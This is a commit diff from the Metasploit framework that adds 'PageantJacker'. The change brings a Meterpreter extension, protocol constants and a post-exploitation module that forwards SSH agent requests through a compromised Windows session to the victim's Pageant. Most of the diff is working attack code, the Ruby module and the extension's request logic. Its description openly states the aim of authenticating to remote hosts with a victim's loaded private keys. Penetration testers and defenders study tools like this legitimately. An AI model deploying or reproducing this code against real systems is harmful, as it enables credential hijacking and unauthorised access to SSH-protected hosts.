Land #5380, pageantjacker, an SSH agent proxy
commit
f3451eef75
|
@ -10,7 +10,7 @@ PATH
|
|||
metasm (~> 1.0.2)
|
||||
metasploit-concern (= 1.0.0)
|
||||
metasploit-model (= 1.0.0)
|
||||
metasploit-payloads (= 1.0.13)
|
||||
metasploit-payloads (= 1.0.14)
|
||||
msgpack
|
||||
nokogiri
|
||||
packetfu (= 1.1.11)
|
||||
|
@ -125,7 +125,7 @@ GEM
|
|||
activemodel (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
railties (>= 4.0.9, < 4.1.0)
|
||||
metasploit-payloads (1.0.13)
|
||||
metasploit-payloads (1.0.14)
|
||||
metasploit_data_models (1.2.5)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
|
|
|
@ -6,6 +6,7 @@ require 'rex/post/meterpreter/extensions/extapi/service/service'
|
|||
require 'rex/post/meterpreter/extensions/extapi/clipboard/clipboard'
|
||||
require 'rex/post/meterpreter/extensions/extapi/adsi/adsi'
|
||||
require 'rex/post/meterpreter/extensions/extapi/ntds/ntds'
|
||||
require 'rex/post/meterpreter/extensions/extapi/pageant/pageant'
|
||||
require 'rex/post/meterpreter/extensions/extapi/wmi/wmi'
|
||||
|
||||
module Rex
|
||||
|
@ -36,6 +37,7 @@ class Extapi < Extension
|
|||
'clipboard' => Rex::Post::Meterpreter::Extensions::Extapi::Clipboard::Clipboard.new(client),
|
||||
'adsi' => Rex::Post::Meterpreter::Extensions::Extapi::Adsi::Adsi.new(client),
|
||||
'ntds' => Rex::Post::Meterpreter::Extensions::Extapi::Ntds::Ntds.new(client),
|
||||
'pageant' => Rex::Post::Meterpreter::Extensions::Extapi::Pageant::Pageant.new(client),
|
||||
'wmi' => Rex::Post::Meterpreter::Extensions::Extapi::Wmi::Wmi.new(client)
|
||||
})
|
||||
},
|
||||
|
|
|
@ -0,0 +1,44 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Extensions
|
||||
module Extapi
|
||||
module Pageant
|
||||
###
|
||||
# PageantJacker extension - Hijack and interact with Pageant
|
||||
#
|
||||
# Stuart Morgan <stuart.morgan@mwrinfosecurity.com>
|
||||
#
|
||||
###
|
||||
class Pageant
|
||||
def initialize(client)
|
||||
@client = client
|
||||
end
|
||||
|
||||
def forward(blob, size)
|
||||
return nil unless size > 0 && blob.size > 0
|
||||
|
||||
packet_request = Packet.create_request('extapi_pageant_send_query')
|
||||
packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANT_SIZE_IN, size)
|
||||
packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANT_BLOB_IN, blob)
|
||||
|
||||
response = client.send_request(packet_request)
|
||||
return nil unless response
|
||||
|
||||
{
|
||||
success: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_STATUS),
|
||||
blob: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_RETURNEDBLOB),
|
||||
error: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_ERRORMESSAGE)
|
||||
}
|
||||
end
|
||||
|
||||
attr_accessor :client
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -75,6 +75,12 @@ TLV_TYPE_EXT_ADSI_DN = TLV_META_TYPE_GROUP | (TLV_TYPE_E
|
|||
TLV_TYPE_NTDS_TEST = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 80)
|
||||
TLV_TYPE_NTDS_PATH = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 81)
|
||||
|
||||
TLV_TYPE_EXTENSION_PAGEANT_STATUS = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 85)
|
||||
TLV_TYPE_EXTENSION_PAGEANT_ERRORMESSAGE = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 86)
|
||||
TLV_TYPE_EXTENSION_PAGEANT_RETURNEDBLOB = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 87)
|
||||
TLV_TYPE_EXTENSION_PAGEANT_SIZE_IN = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 88)
|
||||
TLV_TYPE_EXTENSION_PAGEANT_BLOB_IN = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 89)
|
||||
|
||||
TLV_TYPE_EXT_WMI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 90)
|
||||
TLV_TYPE_EXT_WMI_QUERY = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 91)
|
||||
TLV_TYPE_EXT_WMI_FIELD = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 92)
|
||||
|
|
|
@ -63,7 +63,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model', '1.0.0'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.0.13'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.0.14'
|
||||
# Needed by msfgui and other rpc components
|
||||
spec.add_runtime_dependency 'msgpack'
|
||||
# Needed by anemone crawler
|
||||
|
|
|
@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
|
|||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 1105970
|
||||
CachedSize = 1106482
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
|
|
|
@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
|
|||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 1107014
|
||||
CachedSize = 1107526
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
|
|
|
@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
|
|||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 1107014
|
||||
CachedSize = 1107526
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
|
|
|
@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
|
|||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 1105970
|
||||
CachedSize = 1106482
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
|
|
|
@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
|
|||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 1105970
|
||||
CachedSize = 1106482
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
|
|
|
@ -0,0 +1,133 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'tmpdir'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
include Msf::Post::Windows::Priv
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Forward SSH Agent Requests To Remote Pageant',
|
||||
'Description' => %q{
|
||||
This module forwards SSH agent requests from a local socket to a remote Pageant instance.
|
||||
If a target Windows machine is compromised and is running Pageant, this will allow the
|
||||
attacker to run normal OpenSSH commands (e.g. ssh-add -l) against the Pageant host which are
|
||||
tunnelled through the meterpreter session. This could therefore be used to authenticate
|
||||
with a remote host using a private key which is loaded into a remote user's Pageant instance,
|
||||
without ever having knowledge of the private key itself.
|
||||
|
||||
Note that this requires the PageantJacker meterpreter extension, but this will be automatically
|
||||
loaded into the remote meterpreter session by this module if it is not already loaded.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>',
|
||||
'Ben Campbell', # A HUGE amount of support in this :-)
|
||||
],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SocketPath', [false, 'Specify a filename for the local UNIX socket.', nil])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def setup
|
||||
unless session.extapi
|
||||
vprint_status("Loading extapi extension...")
|
||||
begin
|
||||
session.core.use("extapi")
|
||||
rescue Errno::ENOENT
|
||||
print_error("This module is only available in a windows meterpreter session.")
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
# Check to ensure that UNIX sockets are supported
|
||||
begin
|
||||
::UNIXServer
|
||||
rescue NameError
|
||||
print_error("This module is only supported on a Metasploit installation that supports UNIX sockets.")
|
||||
return false
|
||||
end
|
||||
|
||||
# Get the socket path from the user supplied options (or leave it blank to get the plugin to choose one)
|
||||
if datastore['SocketPath']
|
||||
@sockpath = datastore['SocketPath'].to_s
|
||||
else
|
||||
@sockpath = "#{::Dir::Tmpname.tmpdir}/#{::Dir::Tmpname.make_tmpname('pageantjacker', 5)}"
|
||||
end
|
||||
|
||||
# Quit if the file exists, so that we don't accidentally overwrite something important on the host system
|
||||
if ::File.exist?(@sockpath)
|
||||
print_error("Your requested socket (#{@sockpath}) already exists. Remove it or choose another path and try again.")
|
||||
return false
|
||||
end
|
||||
|
||||
# Open the socket and start listening on it. Essentially now forward traffic between us and the remote Pageant instance.
|
||||
::UNIXServer.open(@sockpath) do |serv|
|
||||
print_status("Launched listening socket on #{@sockpath}")
|
||||
print_status("Set SSH_AUTH_SOCK variable to #{@sockpath} (e.g. export SSH_AUTH_SOCK=\"#{@sockpath}\")")
|
||||
print_status("Now use any tool normally (e.g. ssh-add)")
|
||||
|
||||
loop do
|
||||
s = serv.accept
|
||||
loop do
|
||||
socket_request_data = s.recvfrom(8192) # 8192 = AGENT_MAX
|
||||
break if socket_request_data.nil? || socket_request_data.first.nil? || socket_request_data.first.empty?
|
||||
vprint_status("PageantJacker: Received data from socket (size: #{socket_request_data.first.size})")
|
||||
response = session.extapi.pageant.forward(socket_request_data.first, socket_request_data.first.size)
|
||||
if response[:success]
|
||||
begin
|
||||
s.send response[:blob], 0
|
||||
rescue
|
||||
break
|
||||
end
|
||||
vprint_status("PageantJacker: Response received (Success='#{response[:success]}' Size='#{response[:blob].size}' Error='#{translate_error(response[:error])}')")
|
||||
else
|
||||
print_error("PageantJacker: Unsuccessful response received (#{translate_error(response[:error])})")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def cleanup
|
||||
# Remove the socket that we created, if it still exists
|
||||
::File.delete(@sockpath) if ::File.exist?(@sockpath) if @sockpath
|
||||
end
|
||||
|
||||
def translate_error(errnum)
|
||||
errstring = "#{errnum}: "
|
||||
case errnum
|
||||
when 0
|
||||
errstring += "No error"
|
||||
when 1
|
||||
errstring += "The Pageant request was not processed."
|
||||
when 2
|
||||
errstring += "Unable to obtain IPC memory address."
|
||||
when 3
|
||||
errstring += "Unable to allocate memory for Pageant<-->Meterpreter IPC."
|
||||
when 4
|
||||
errstring += "Unable to allocate memory buffer."
|
||||
when 5
|
||||
errstring += "Unable to build Pageant request string."
|
||||
when 6
|
||||
errstring += "Pageant not found."
|
||||
when 7
|
||||
errstring += "Not forwarded."
|
||||
else
|
||||
errstring += "Unknown."
|
||||
end
|
||||
errstring
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue